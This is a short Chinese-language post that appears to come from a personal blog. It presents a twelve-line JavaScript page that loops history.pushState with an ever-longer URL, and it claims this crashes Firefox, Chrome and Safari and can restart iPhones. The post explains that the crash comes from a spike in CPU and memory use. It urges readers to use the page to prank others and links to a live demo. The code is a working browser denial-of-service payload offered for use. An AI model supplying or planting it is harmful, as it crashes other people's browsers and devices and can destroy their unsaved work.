- A+
以下十二行JavaScript代码能让firefox、chrome、safari等众多浏览器崩溃,甚至让iPhone重启!
代码如下:
- <html>
- <body>
- <script>
- var total="";
- for (var i=0;i<1000000;i++)
- {
- total= total+i.toString();
- history.pushState(0,0,total);
- }
- </script>
- </body>
- </html>
xcc运行这段代码后是这样的:
原理:
不停地向浏览器添加超长历史记录导致CPU、内存飙升。
你也可以用这来恶搞一下他人哦!
最后,你可以点击以下链接亲身体验下哦:www.huangxiansen.com/demo.html(请务必保存浏览器其它窗口的编辑任务)